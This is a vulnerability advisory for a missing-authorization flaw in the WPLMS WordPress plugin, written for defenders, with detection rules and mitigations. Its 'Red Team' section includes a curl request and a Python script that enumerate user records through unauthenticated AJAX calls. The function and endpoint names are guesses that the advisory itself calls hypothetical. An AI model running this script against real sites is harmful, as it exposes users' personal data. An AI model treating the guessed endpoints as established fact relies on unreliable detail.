CVE-2025-49925

Executive Summary

CVE-2025-49925 is a critical Missing Authorization vulnerability (CWE-862) in the VibeThemes WPLMS WordPress plugin, affecting versions up to and including 1.9.9.7. This flaw allows unauthenticated attackers to access functionality that should be constrained by Access Control Lists (ACLs), potentially leading to unauthorized data exposure or privilege escalation. As a WordPress ecosystem issue, the vulnerability resides in the wplms_plugin component, which is part of the WPLMS Learning Management System. With a CVSS score of 7.5 (High), the attack vector is network-based, requires no authentication, and has low complexity, making it easily exploitable. No public proof-of-concept (PoC) or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time. However, the lack of a patch and the plugin's widespread use in educational environments elevate the risk.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Organizations using WPLMS should verify their plugin version and monitor for updates. Since no patch exists, supply chain risk is high, and users must implement compensating controls.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability affects only the vulnerable component.
• Confidentiality (C): High (H) – Significant data exposure possible.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Threat Level: High. The vulnerability is easy to exploit and could expose sensitive LMS data, including user profiles, course materials, and grades.

Deep Dive & Mechanics

The vulnerability stems from improper authorization checks in the wplms_plugin component of the WPLMS plugin. Specifically, certain AJAX actions or REST endpoints lack capability checks, allowing unauthenticated users to invoke functions that should be restricted to administrators or instructors. The missing ACL enforcement means that an attacker can directly call vulnerable functions via crafted HTTP requests, bypassing intended access controls.

Root Cause: The plugin fails to validate user permissions before executing sensitive operations. For example, a function like wplms_get_user_data() might be registered without a current_user_can() check, enabling any visitor to retrieve user information.

Attack Vector: An attacker sends a specially crafted HTTP request to a vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=wplms_get_user_data&user_id=1). The server processes the request without verifying the user's role, returning sensitive data.

Impact: Unauthorized access to user profiles, course enrollments, quiz results, and potentially administrative functions. This could lead to data breaches, privacy violations, and further exploitation.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common fixes for CWE-862.

Vulnerable Code (wplms_plugin.php, line ~150):

add_action('wp_ajax_nopriv_wplms_get_user_data', 'wplms_get_user_data');
function wplms_get_user_data() {
    $user_id = $_GET['user_id'];
    $user = get_userdata($user_id);
    echo json_encode($user);
    wp_die();
}

Patched Code (Hypothetical Fix):

add_action('wp_ajax_wplms_get_user_data', 'wplms_get_user_data');
add_action('wp_ajax_nopriv_wplms_get_user_data', 'wplms_get_user_data');
function wplms_get_user_data() {
    if (!current_user_can('edit_users')) {
        wp_die('Unauthorized', 403);
    }
    $user_id = intval($_GET['user_id']);
    $user = get_userdata($user_id);
    echo json_encode($user);
    wp_die();
}

Explanation: The vulnerable code registers the action for both authenticated and unauthenticated users (nopriv) without any capability check. The patched version adds a current_user_can('edit_users') check and uses intval() to sanitize input.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target WordPress site with WPLMS plugin version <= 1.9.9.7.
• Network access to the site.

Exploitation Steps:

1. Identify vulnerable endpoints by analyzing the plugin's AJAX actions. Common actions include wplms_get_user_data, wplms_get_course_data, or wplms_get_quiz_results.
2. Send a crafted request to retrieve sensitive data:

   curl -X GET "http://target.com/wp-admin/admin-ajax.php?action=wplms_get_user_data&user_id=1"
   

3. If successful, the response will contain user data in JSON format. Iterate through user IDs to enumerate all users.

Automated Exploit (Python):

import requests
import sys

target = sys.argv[1]
for user_id in range(1, 100):
    url = f"{target}/wp-admin/admin-ajax.php?action=wplms_get_user_data&user_id={user_id}"
    r = requests.get(url)
    if r.status_code == 200 and "user_email" in r.text:
        print(f"User {user_id}: {r.text}")

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual AJAX requests to admin-ajax.php with action parameters starting with wplms_ from unauthenticated sources.
• Look for sequential user ID enumeration in logs.

Defense:

• Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php with action parameters matching wplms_* unless from authenticated users.
• Disable the plugin until a patch is available.
• Use a security plugin like Wordfence to add virtual patching.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /wp-admin/admin-ajax.php with action=wplms_* parameters from unauthenticated IPs.
• Sequential user ID enumeration in GET parameters (e.g., user_id=1, user_id=2).

File IOCs:

• Plugin file: /wp-content/plugins/wplms_plugin/wplms_plugin.php (version <= 1.9.9.7).
• Suspicious log entries in access.log showing repeated admin-ajax.php requests.

Behavioral IOCs:

• Unauthorized access to user profile data or course content.
• Unexpected data exfiltration from the LMS.

Detection Engineering

YARA Rule

rule CVE_2025_49925_WPLMS_Missing_Auth {
    meta:
        description = "Detects vulnerable WPLMS plugin files with missing authorization"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-49925"
    strings:
        $vuln_func = "wp_ajax_nopriv_wplms_" ascii wide nocase
        $no_check = "current_user_can" ascii wide nocase
    condition:
        $vuln_func and not $no_check
}

Sigma Rule

title: CVE-2025-49925 - WPLMS Missing Authorization Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated AJAX requests to WPLMS endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=wplms_'
    condition: selection
falsepositives:
    - Legitimate authenticated admin actions (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-49925 - WPLMS Missing Authorization Exploitation Attempt";
    flow:to_server,established;
    content:"/wp-admin/admin-ajax.php";
    http_uri;
    content:"action=wplms_";
    http_uri;
    classtype:attempted-recon;
    sid:10000001;
    rev:1;
    reference:cve,2025-49925;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the WPLMS plugin until a patch is released by VibeThemes.
2. Implement a WAF rule to block unauthenticated requests to admin-ajax.php with action parameters starting with wplms_.
3. Monitor logs for exploitation attempts using the provided Sigma and Suricata rules.

Long-term Fix:

• Apply the official patch once released by VibeThemes.
• Update to the latest version of WPLMS (currently no patched version available).
• Conduct a security audit of all WordPress plugins for similar authorization flaws.

Compensating Controls:

• Use a WordPress security plugin (e.g., Wordfence, Sucuri) to add virtual patching.
• Restrict access to wp-admin directory via .htaccess or IP whitelisting.
• Enable two-factor authentication for all user roles.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst
Report generated for CVE-2025-49925